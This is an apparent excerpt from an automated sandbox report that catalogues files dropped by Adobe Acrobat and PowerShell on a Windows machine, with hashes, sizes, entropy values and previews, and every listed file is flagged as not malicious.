SSDEEP:	6:YEQXJ2HXsrxQ9vB3/dVlPIHAR0Y28oAvJfbPtdPeUkwRe9:YvXKXWW9vR/ZwHASPGDV8Ukee9
MD5:	36EBF642565163E6C608AFD22181B930
SHA1:	268283042B038FD5781B297631A57A081BFA0CB4
SHA-256:	B0FCCB908F34AA3399338E24E1983A2DA066FB8335421CF48F55BD9B5681108A
SHA-512:	87A122B08F201E49DEC20BDEC1AD1DFA65DD84010379062CEDECC359DB386A9AA0EBEB845AA137B3B80CBEC1EC71B7B29EE2168591B144957F42EF541E48C6A5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1b8a967a-c2b7-4e9b-8835-5de0c79c18e0","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736740591333,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.265102651896184
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsrxQ9vB3/dVlPIHAR0Y28oAvJf21rPeUkwRe9:YvXKXWW9vR/ZwHASPG+16Ukee9
MD5:	21069F6224CE0BC2FB88238DD3D14419
SHA1:	730ABAA95D27DCBCBE634670D641AC382A202E40
SHA-256:	FC32FC1DE6B1F27387C520BBF5622C66CA0ACD221E8BC1A6ACF1124974F403DD
SHA-512:	6421BEB4DFF847E06F1192B6975F4629E13C771CB7BB6021DED3C57F60B425CF30F1FC10E5F8AEC3B7DD68BC3AE8B69DEF6AFDE8CB0EA4AA40F05FAC0CD878D3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1b8a967a-c2b7-4e9b-8835-5de0c79c18e0","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736740591333,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.663682324542857
Encrypted:	false
SSDEEP:	24:Yv6X/9Jh2QamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSQ:YvwJhfBgkDMUJUAh8cvMQ
MD5:	DFC1B9DB1CD86E49189D27B0EA9080E5
SHA1:	24747B770E033CF0A0C856ADB8A20267016B8C90
SHA-256:	548AEE2A1D4C9D53B8B45BDD7C4A0EEBBBB72A2A30104BA984B7F77543E1B0C3
SHA-512:	7B5E0942C18D09029996BBBA3BCD8A421E81CEC3688C2BD28557B5469ACACAA20FCC2FE9E01A8BE26E5FC0CF71D9BF27BBE08360705FF88897563F47F69D4199
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1b8a967a-c2b7-4e9b-8835-5de0c79c18e0","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736740591333,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.240943631115683
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsrxQ9vB3/dVlPIHAR0Y28oAvJfshHHrPeUkwRe9:YvXKXWW9vR/ZwHASPGUUUkee9
MD5:	A1A43FF347F73685839405DFA97B09F3
SHA1:	35BEC1D8B00E0A477FEEE88538FBA5DE8FBBD55A
SHA-256:	29E4414B2F0F07C0EED8A469593F3D69372B9F97D7CCDCA2DC73F0413A1D943C
SHA-512:	94E60A35885991BE6E24598B2551D3147AE21262EEC2C4BDA217652018A78904D92B24D0A33E426DC070CB95E7C4F63D90BB84FC18CD6C8AAC066D2358C1ECDE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1b8a967a-c2b7-4e9b-8835-5de0c79c18e0","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736740591333,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.263054249605946
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsrxQ9vB3/dVlPIHAR0Y28oAvJTqgFCrPeUkwRe9:YvXKXWW9vR/ZwHASPGTq16Ukee9
MD5:	C2FD0CCC4CA732E903F50E27C3143F09
SHA1:	1F47119ECD5BF584E4324C54859C23FD13126032
SHA-256:	867F3DB7A25160626086870769F3925CBE4EBE5CFD89D3FD357559C20DDFA864
SHA-512:	24AA5C34F60E18826FEE389C13BE7BE34A223B4A96747FA363B4C8B8A9EA448E9B6794B6AE8656D80D76AF787E67C44B14CC50723636D9ADAAD085453DBD772D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1b8a967a-c2b7-4e9b-8835-5de0c79c18e0","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736740591333,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.145396688355959
Encrypted:	false
SSDEEP:	24:YazXaUeay6BJMjuLrq66vbmkX4xjqyj0S/MsadL2722LSxCBdkS2WH5Wgs5VV90Y:YkGj0W68XGqETaJX3ydkWHIPzV9B
MD5:	5EB4C0BE38EB04EED731A2D45261B117
SHA1:	BAB49100392C6F2EEECBA0780CAEA9D282B20987
SHA-256:	6674D01269D29C7E7B7790935570BB9D23ADF11389E92DED9BD653657E8E7D43
SHA-512:	27F188A612D72BA5E1EB5DCA00FF597A81A3C7F79C9B0E15A59E571C4AC7BE9562AED5A1C302CFB9B864D16110A40D8E1916F1A5133D03D23D24F53306F852AC
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"fe870009cd2251bc748e32492fdeff6b","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736565450000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"00945bae171b62c1121b06029f38e9a2","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736565450000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"ac96eaa2820afb827c75134353521a15","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736565450000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"3ea94cb9fc7971b83ab40a645c556528","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736565450000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"1e916b6b668b83910e41eb96f32256c5","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736565450000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"51454191e12d8ff0ce4838d1f96312bd","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3184209299434477
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9Ohn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMe3ntqVp3:TGufl2GL7ms9WR1CPmPbPah9ypilIr
MD5:	993E7B5CF7F8975D25180D0C0118036E
SHA1:	6C9B168A80329FF6119D519048EDB64B56C569D7
SHA-256:	CF5B509CE9EC8E5FC26A5CBB7CD98EE80199834070DDA4B64C7BE4A175C3EDC6
SHA-512:	A712AC38816C336ED5B6D659C5411B0570E67B7AC572A4E1F0FC6725933D5C5DB9705D48FC6439A1EFE78B54D296BEE881809393E9CAA66B9BE58D22A61318D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.779465521510546
Encrypted:	false
SSDEEP:	24:7+tUlhn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMe3n4qVpaVrScVr0InNqLhx/d:7MrWR1CPmPbPahIypilIYqFl2GL7ms/
MD5:	79F999B404393090524881D55AAD48D0
SHA1:	E2EC051C1CAAC2E9117D8382AC262D2CB48C41CA
SHA-256:	27CCA107C0B237F28FF5379CB831CAC2B8839D4B840098F6B8438EDA277C4DDF
SHA-512:	82E688AB2982708AF61FF3009DD9DF4945E829940E2F8F431E4A8A1B7729907B0724C8D0B81B3760B15157AE7BA5B56EBA76B4371442095327B26A227921CC11
Malicious:	false
Preview:	.... .c......e............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgj7CTfsDHH4Vhy71UVyH24Bu7yk6hYyu:6a6TZ44ADEj7CfscVhy7iIIn6hK
MD5:	2E8AE3087B5322DF8FBB72D7B9B749D9
SHA1:	A01EC218E23F5E3AB9F83ADC48DABC14EF470D65
SHA-256:	FA9AD932290E246ABD47197B59F6C36A6EF13ECCEE2CF5E86BEC5186183A2EC6
SHA-512:	09ED6626E9E93D4601C68913A105D6D9366248B2F917E337931262C123145F9524A1B756FC9C8386D1083F2EB1F0CCB4C759F7345F3128EF30964372832F458D
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulFuPh:NllUUP
MD5:	CC47C65E9D7FF52BEBF356F8F22FCCF9
SHA1:	25AC4580D6C84DB6F2675161368A5B89A48AB692
SHA-256:	CB1B97C689468D47FCDB7116ACBBEE0A8AC183F9C27517ABC376E57EC666C8D3
SHA-512:	882F88AF5A2C636C9949E24056105407E8C007643B49452EED7397B338AAC859B457F72901900A545B5474258CA15411158CEF34ABB512494C188843349AE601
Malicious:	false
Preview:	@...e.................................T.:............@..........

C:\Users\user\AppData\Local\Temp\MSIc756c.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.493870954423123
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClWluw:Qw946cPbiOxDlbYnuRK+brb
MD5:	927201F66643A6B835C4448EF4E808BB
SHA1:	A4A7EBD45CD3B3B111E3FAB5E6FA77C6AAACFCB9
SHA-256:	3DC8E9F553AEF53839D5C51FA0EE35C4909B3E39D134D916A3D3E8C1786F5D82
SHA-512:	2989A461FB4857D7AF6BB28311EC3BB8ABC88B86E1F25C6F4DCE8B6E6D375321535651A6BA0E8B9210673741B4B8AA7E25BFABBD87A75F338F66D76F576FC4CE
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.2.:.1.7.:.2.9. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_azep3dpz.unc.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ohru2hq3.jo1.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 22-17-23-334.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.33860678500249
Encrypted:	false
SSDEEP:	384:IC2heaVGJMUPhP80d0Wc+9eG/CCihFomva7RVRkfKhZmWWyC7rjgNgXo6ge5iaW0:X8B
MD5:	C3FEDB046D1699616E22C50131AAF109
SHA1:	C9EEA5A1A16BD2CD8154E8C308C8A336E990CA8D
SHA-256:	EA948BAC75D609B74084113392C9F0615D447B7F4AACA78D818205503EACC3FD
SHA-512:	845CDB5166B35B39215A051144452BEF9161FFD735B3F8BD232FB9A7588BA016F7939D91B62E27D6728686DFA181EFC3F3CC9954B2EDAB7FC73FCCE850915185
Malicious:	false
Preview:	SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:080+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.388118383643355
Encrypted:	false
SSDEEP:	384:/xnYvxyR7xESB/dcQacR92zNsPBJpRd0uo5Fj/zrqWFkCxnUqrq6CfC/6z9zBsMe:hPU
MD5:	42436062F48429414E214283B9790FAB
SHA1:	59D44EE875AB45C033FAD89EF44934AAF7ADDDA9
SHA-256:	7248036C51645B3E799C83A036A14BB46C9BF8D7579F5ED41A1E784822B65B34
SHA-512:	A5C8BD463B7A09195160FC47098BEC22178E154491B40BE9979D2866EDC61139F866D94AF2CBC389F6254E9439227AC975B4F46138636C1865D8565F4584481C
Malicious:	false
Preview:	SessionID=ef8dbc5f-f159-474e-99b5-6bd6f0f78814.1736565443376 Timestamp=2025-01-10T22:17:23:376-0500 ThreadID=7920 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=ef8dbc5f-f159-474e-99b5-6bd6f0f78814.1736565443376 Timestamp=2025-01-10T22:17:23:377-0500 ThreadID=7920 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=ef8dbc5f-f159-474e-99b5-6bd6f0f78814.1736565443376 Timestamp=2025-01-10T22:17:23:377-0500 ThreadID=7920 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=ef8dbc5f-f159-474e-99b5-6bd6f0f78814.1736565443376 Timestamp=2025-01-10T22:17:23:377-0500 ThreadID=7920 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=ef8dbc5f-f159-474e-99b5-6bd6f0f78814.1736565443376 Timestamp=2025-01-10T22:17:23:377-0500 ThreadID=7920 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.403304443573244
Encrypted:	false
SSDEEP:	192:TcbeIewcbVcbqI4ucbrcbQIrJcb6cbCIC4cbtK3dcbuHIcScbN:ceo4+rsC/K33ocV
MD5:	7D1445A374A82D24FCA503749CF86F80
SHA1:	7101C9F13A936453E0901F8B923BC9EA76CC45DF
SHA-256:	C9D4E645264469A71C080FF49F1A68859842EFFF40000DA29ECAD452A093D0BD
SHA-512:	5D3E6EA946939FCF1E16A7E69336194B38C4D28FA8E3B7349BC1531EEAB1F907D30CF3AF5107F2429EBFF634AF77CDA0367EB7A9D1FCCA390685FCA3B25D0245
Malicious:	false
Preview:	05-10-2023 10:18:29:.---2---..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:18:29:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\0c5c9bfd-69d7-4479-98e8-5192c12f517d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLkwYIGNPMGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLkwZGuGZn3mlind9i4ufFXpAXkru
MD5:	CA6B0D9F8DDC295DACE8157B69CA7CF6
SHA1:	6299B4A49AB28786E7BF75E1481D8011E6022AF4
SHA-256:	A933C727CE6547310A0D7DAD8704B0F16DB90E024218ACE2C39E46B8329409C7
SHA-512:	9F150CDA866D433BD595F23124E369D2B797A0CA76A69BA98D30DF462F0A95D13E3B0834887B5CD2A032A55161A0DC8BB30C16AA89663939D6DCF83FAC056D34
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\7bd72b55-436c-4291-aee3-23059430e318.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\a5237681-84c7-48f1-980f-06592fcdc99e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/M7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07tOWLaGZ4ZwYIGNPS:RB3mlind9i4ufFXpAXkrfUs0kWLaGZ48
MD5:	1D64D25345DD73F100517644279994E6
SHA1:	DE807F82098D469302955DCBE1A963CD6E887737
SHA-256:	0A05C4CE0C4D8527D79A3C9CEE2A8B73475F53E18544622E4656C598BC814DFC
SHA-512:	C0A37437F84B4895A7566E278046CFD50558AD84120CA0BD2EAD2259CA7A30BD67F0BDC4C043D73257773C607259A64B6F6AE4987C8B43BB47241F3C78EB9416
Malicious:	false
